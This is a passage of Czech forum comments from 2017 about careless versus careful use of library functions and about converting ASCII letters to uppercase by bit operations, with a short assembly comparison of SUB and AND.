    No a nad tím je teprve vlastní aplikace. Která může mít dva typy autorů. Jeden se seznámí s dokumentací a postará se, aby knihovní funkce dostala to, co je v dokumentaci a nepřipustí jinou možnost, druhý tam prostě něco flákne, na pátý pokus se to chytne a zdá se, že to dělá co má, tak to tak nechá. Tomu prvnímu se taková chyba v knihovně neprojeví (resp. má malou pravděpodobnost), ten druhý chyby neřeší, stačí mu potěmkin na předváděčku.

  • 14. 12. 2017 16:55

    j (neregistrovaný) 2a01:8d00:4000:----:----:----:----:----

    " když do čísla napíšu text, tak se nic neděje"
    Mno a kde je receno, ze je to tak spatne? Trebas to tak chces. V tom je totiz ve skutecnosti krasa programovani ....

    Malej priklad, trebas udelat z malyho pismena velky se dalo (v ASCII samo) tak, ze proste bajty s prislusnejma pismename bitove zrotujes. No fuj, zejo ...

  • 18. 12. 2017 21:50

    . . (neregistrovaný) ---.aoj.io

    a = 0x61 = 0110 0001
    A = 0x41 = 0100 0001

    SUB AL, 20H <> AND AL, 0DFH